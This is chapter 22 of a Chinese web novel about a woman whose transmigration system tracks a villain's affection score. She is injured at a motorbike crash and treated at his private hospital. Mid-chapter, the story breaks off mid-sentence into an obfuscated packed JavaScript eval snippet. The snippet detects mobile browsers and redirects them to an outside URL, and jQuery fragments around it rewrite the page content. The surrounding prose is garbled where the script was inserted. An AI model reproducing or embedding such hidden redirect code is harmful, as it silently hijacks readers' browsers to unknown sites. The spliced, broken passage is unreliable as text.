22. 第 22 章

作品:《变成猫猫后被反派投喂了

    裴延森跟在她身后下了车,他走到撞击部位看了一眼,车身的玻璃和钢材都是花了大价钱改装过的,但遇到事故避免不了磕碰痕迹。


    路中央聚集着一群人,周围都是散落的零件,不远处横躺着一辆战况惨烈的机车,路边还停着十几辆,看起来都不是普通货。


    司机已经打了急救电话,一群小年轻分布在周边,男男女女都有,大都是事不关己嘻嘻哈哈的态度,更有人在拍视频发布社交平台,塑料友谊展现地淋漓尽致。


    裴延森的保镖守在不远处,一旦有突发情况他们会立即出动保护雇主。


    痛苦的嚎叫时断时续,但听音量还有大把力气,问题应该不大,只是荀也觉得声音有些耳熟,她走近了些。


    借着灯光荀也看了个清楚,那个在山间公路上超速飙车不知死活的倒霉蛋竟然是荀宇铭。


    荀宇铭此时也认出了荀也,刚嚎出一个“姐”字又被痛苦的哀嚎取代。


    荀也揪着衣角,也不知道裴延森刚才有没有听清,都姓荀,他可千万不要好坏不分迁怒自己。


    裴延森和她并排站着,“荀家快破产的小公司还有钱赔我吗?”


    听他的语气还算平静,荀也耸耸肩:“三代单传允许你狮子大开口。”


    虽然他是自己的亲弟弟,但荀也真生不出多余的情绪给他。


    不过她还是好心地通知了荀父荀母,短信通知,能不能第一时间发现就看他们之间的羁绊了。


    她发完短信又看向裴延森,“裴先生很喜欢带陌生人去家里做客吗?”


    她明明说过找个路口把她放下去。


    裴延森表情淡淡:“慈善是每个商人的必修课。”


    荀也冷笑,看不起她是吧,那就别怪自己得寸进尺了。


    “所以大慈善家答应我的请求了,感谢感谢。”


    裴延森却嗤笑一声:“人设而已,荀小姐真信了?”


    荀也低声唾弃了一句:“装货!”


    声音虽小,但也足够他听见。


    说完她转身往车边走去,但这时从天而降一块塑料外壳,不远处某个男生嬉皮笑脸维持着一个向上踢物的动作。


    荀也只是感觉头顶一痛,但也懒得追究继续往前走,不过下一刻有什么凉凉的液体顺着眉尾流下,荀也随手抹了一把,摊开掌心一看。


    心跳加快,她有点慌。


    不是晕血,只是她好多年没体会过受伤流血的感觉。


    天色黑透,裴延森略倾身看她摊开的掌心。


    荀也烦躁地抽回手,往身后一蹭。


    耳边传来好感值播报,当前好感值:【-599942】


    荀也抬头去看他的神情,一个小小的动作戳中了他哪颗玻璃心?


    机械语音再次响起,当前好感值:【-699941】


    一朝回到解放前,荀也慌了,手脚无措想做点什么挽回裴延森的好感值,但面对软硬不吃的反派根本无从下手,一时间气血上涌,血流得更多了。


    荀也真是怕了这位王子殿下,想晕倒逃避残酷的现实,但身体素质太好,根本晕不了。


    荀也颓然蹲了下来,她太想给裴延森来上一脚,质问他,你到底对我哪里不满意,我改还不行吗?


    emo中头顶突然罩下一件西装外套,裴延森踢踢她的鞋边,“还想让我抱你走。”


    荀也不理他,往下扯了扯头顶的外套,胡乱在脸上一擦。


    裴延森弯腰,热源靠近。


    荀也以为他来真的本能往侧方一弹,然而让人头皮发麻的公主抱并没有出现,她被扯着手臂提了起来。


    裴延森松了口:“答应你可以走吗?”


    荀也的脸还是黑的,忙活了一通,结果好处全是系统那个小白痴的,倒是把她的好感值涨回来啊!!!


    临走前裴延森给身后的保镖使了个眼神,让他去多关照一下闯祸还不自知的男生。


    等上了车,荀也忍不住问:“大哥,你看我怎么样?”


    她忘记在哪里看到的,某些大奸大恶的人就喜欢寻找自己缺少的特质,比如像裴延森这种黑心大反派极有可能欣赏像她这样正直的上进青年。


    裴延森眉毛一挑,认真打量起她。


    荀也掀开头顶的外套不躲不避,眼神清澈真诚,尽量让自己看起来更善良一些。


    心里默念,她是个好人,遵纪守法的好人,和对面人憎鬼厌的裴延森相比,她真是个顶天立地的大好人。


    荀也等待着裴延森的肯定和好感,但显然裴延森是不按套路出牌的小众人群。


    熟悉的讥讽语句响起。


    “大哥?”


    裴延森好笑地盯着她清澈傲气的双眼,“和裴愈解除婚约,还要占我这个过去大哥的便宜。”


    ……


    荀也彻底没招了,把自己裹进宽大的西装外套里,声音愤懑不甘:“我和你真是玩不到一起去!”


    裴延森重新坐好,嘴角的弧度透露出得逞的愉悦。


    嗯,真好玩。


    ——


    荀也被直接带去了裴氏的私人医院,这个点已经是凌晨,她被司机喊醒准备下车时猛然发现好久没见疤姐了,她顿时清醒探头看向副驾驶,空空如也。


    裴延森拉开她那侧的车门,“那只肌肉猫在庄园里。”


    “哦……”荀也仰头仔细辨别他的表情,他知道那不是小乖吗?


    裴延森扣了扣车玻璃,似乎是等地不耐烦了,说话多少带点不客气:“被哥的脸帅呆了。”


    荀也看他这么自恋也就放心了,随口敷衍:“帅惨了。”


    进到急诊,护士拿来一块温热的湿毛巾要给她擦脸,荀也往后一闪,一根手指从后稳稳撑住她的后脑,“别乱动。”


    “妹妹,你脸上有干涸的血渍,先敷一下更好擦。”护士长声音温柔,说着还要亲自上手。


    也不怪护士长过分热情,荀也一身宽松的休闲套装安安静静坐在凳子上,散开的头发遮住了大半张脸,看起来稚气未脱,对着这样好看纤瘦的小女孩谁都会生出些怜爱,更别提人还是大领导带来的。


    荀也没想到私人医院的服务这么好,她赶紧抢过毛巾,“我自己来吧。”


    医生看了她的伤口,问是什么东西划伤的,告知需要缝针,破伤风也要打。


    嘱咐完注意事项之后他余光扫向病号身后大老板,又贴心地勾了个ct检查。


    荀也把捂了一会的毛巾从脸上拿了下来,两只手扶在桌子边诚恳发问:“医生,要剃头发吗?”


    裴延森站在她侧后方,闻言看了眼她的及腰的长发,原本插兜的手无意识抽出抵了下鼻尖。


    当前好感值:【-699892】


    语音播报突兀地响起,荀也回头,虽然好感值有所回升,但她面对裴延森时脸还是臭的。


    她猜测是裴延森看她出了糗,心里指不定怎么嘲笑,想通了好感值上涨关窍,荀也回敬似地瞪了他一眼。


    裴延森磨着后糟牙,平时只有他给别人气受的份,什么时候有人敢对他横眉冷对。


    他对着仿佛正对他竖中指的后脑勺冷冷道:“放心,尼姑配秃驴没人会取笑你们。”


    荀也:?


    秃驴?尼姑?


    等她反应过来裴延森说得是裴愈,裴愈号称京圈佛子,通俗易懂点不就是秃驴。


    脑海中自动浮现出一男一女两个光头双手合十互相问好的画面。


    硬了,拳头硬了。


    眼瞅着乱糟糟的后脑勺要多出一根中指,裴延森俯身压下,一只手撑在荀也面前的桌子上,一只手轻敲桌面把分心听八卦的医生魂叫了回来,“剃不剃?”


    医生突然坐直,扶了扶眼镜,脸上正经的表情有点难崩:“不用剃发,但是需要把受伤部位的头发剪短。”


    做完检查已经是凌晨两点,打完针要留半小时观察,裴延森直接带她去了顶楼的VIP病房。


    荀也站在门口,她眼皮发沉但还保留着勤俭节约的好习惯,“这部分算在我医疗账单里吗?”


    裴延森玩弄含笑的眼神停在她快包成印度人的头上,习惯性发欠的话到嘴边,不知为何又改了口,“算大哥请你的。”


    荀也心想你这么热衷于当哥,让你爸多整几个私生子私生女叫你哥啊。


    不过这话她也只敢在心里吐槽,怕说出来真把反派惹毛了。


    徒步一天外加被砸到脑袋,荀也这一觉直接睡到晚上八点,中间醒来一次还是因为机车党的父母提着大箱小箱的礼品来道歉,不过门口有保镖拦着他们没能进来,但水果礼品都留了下来,


    荀也想着这家人肯定不知道真正受伤的人是她,以荀复海的地位,顶多两家吃顿饭谈笑间误会一场握手言和,哪能上赶着追到医院请罪。


    门外机车党父母苦苦的哀求声和保镖冷漠的阻拦隐隐传进来,荀也被吵醒,伸懒腰时摸到了放在床头的衣服。


    她抬手勾起来,是一套全新的居家连衣裙,居然连贴身的内衣裤也备齐了。


    荀也自认和裴延森没多少交情,但这次受伤多少也是被他连累,给她准备衣服说不定也是道歉的意思。


    她躺在床上翻来覆去了会儿最终还是迫于生理问题下了床,不过走到半路她又回来带上了那套衣服。


    解决完生理问题,正准备洗澡的荀也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351407|182316||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    摸上自己头顶,一咬牙把纱布全拆了忍痛给自己洗了战斗澡。


    等她全身清爽地出来,来查房的小护士一脸惊慌失措地走近她,看着她半干的长发磕磕绊绊道:“小姐,你、你先坐床上。”


    来之前护士长事先交待过,这间病房里的人可能是董事的亲戚,所以服务过程中要格外细致周全。


    护士扶着她坐好,又急匆匆地跑出去,推治疗车进来给她重新包扎。


    荀也一颗头被包得规规规整整,白色网套裹在她头上像极了礼盒的苹果。


    她叹了口气,把头闷进被子里打算去自己亲爱的姐姐那里寻求一点安慰,扒拉出微信准备和她视频畅聊时才发现自己根本没收到申请,难不成当时手快按错了数字,她各自给了自己的双手一巴掌。


    气得狠了头上的伤口又开始痛,她摸着新包扎的头呼叫系统。


    “系统,说好的会保护宿主的生命安全呢?”


    系统从荀也受伤到现在一直安安静静不出声,但还是没躲过来自宿主的责问。


    它犹犹豫豫:【我们只有在检测到宿主遇到威胁生命的事故时才会出手。】


    荀也趴在床上等那阵头痛劲过去,声音虚虚,有气无力,“车祸算威胁到我的生命吗?”


    系统支支吾吾。


    “给你一个将功补过的机会,把我的伤口愈合。”


    她实在受不了这个丑陋的网帽头。


    系统提出一个想法:【可以花费您现实的存款治疗。】


    荀也:“你还是自裁谢罪去吧。”


    再次醒来时房间里的大灯关了,只剩床头一盏小小的夜灯,安静的房间里有播报声响起。


    当前好感值:【-500001】


    好感值涨得莫名其妙,荀也觉得自己还在梦里,日有所思夜有所梦,她一定是被好感值搞疯了才会做这种不切实际的梦。


    她闭上眼准备重新进入深度睡眠,一记清脆的碰撞声又把她吵醒了,再睁开眼时发现有红光从沙发处投射而来。


    她在被子里了蛄蛹了一会,偏头沿着房顶的红光才发现沙发上多出个人,眯眼盯着那团长条状的模糊轮廓看了眼,她果断掀开被子下了床。


    双脚落地时头还有点晕,荀也来到他身后,缓慢抬手在那个负号处戳了戳,指尖轻易穿透面板,没有任何阻隔。


    荀也不死心大拇指和食指颤巍巍地捏上去,指腹用力到发白还是摸不到。


    荀也放弃了她幼稚的想法,转而盯着裴延森发愣。


    裴延森呼吸均匀,深邃的五官被淡黄的夜灯锐化,就像老照片里被时光封印的帅哥,一只手枕在后脑,一只手搭在桌子上,腕下垫着手表,声音大约时表盘磕在桌子上发出的。


    梦中还能涨好感值,这家伙该不会……在梦里痛扁她吧,现实中暂且还是停留在表面的笑里藏刀,梦里直接佛山无影腿,真是小人行径,缺了大德。


    荀也举起巴掌在他面门上挥了挥,掌风带动他额前一小撮头发偏到右边。


    注意到他睫毛簌簌抖动有苏醒的迹象,荀也轻声疾步走开。


    她走到床边拿上手机,在这间VIP病房休息足了打算就这样悄无声息地离开,但刚打开门缝一只脚还没踏出去就想起自己还有猫质在裴延森手里。


    守在门外的保镖齐齐看向她,在等她下一步的动作。


    荀也顿在门外思考怎么把疤姐解救出来,她不是那种恩负义的小人,不知道自己变成猫偷偷潜进裴延森的庄园把疤姐带出来的可能性大不大。


    就在她苦思冥想时从走廊一头传来轻而纷乱的脚步声和沙沙的轱辘声。


    越走近越能听见他们低低的交谈,听声音还都是熟人。


    荀也赶在被发现的最后一刻把脚收了回来。


    她小心翼翼关上门,转身往前走了几步突然有种被狩猎者锁定的错觉,缓慢地抬眼,就看见本来横躺在沙发上的人坐了起来,狭长的眼睛直勾勾地注视着她一系列的小动作。


    荀也有一瞬间的惊悚和尴尬,但她能屈能伸,在敲门声响起的前一刻飞快地跃上病床把自己藏进被子里。


    “进来。”


    房间里还是暗着的样子,走廊刺眼的白光斜斜探进屋里。


    保镖停留在门内一步的范围,“先生,裴愈带着荀家的人来向您赔罪。”


    裴延森没个正形地坐躺在沙发上,开口时嗓音带着一丝熬夜后的懒散低哑,“放进来。”


    有光从被子缝露出来,他说完的下一刻一只手机从被子里伸了出来,视角正对着门外。


    裴延森抬手揉着太阳穴,疲惫的眉眼极轻地上挑了下,又说道:“打开灯。”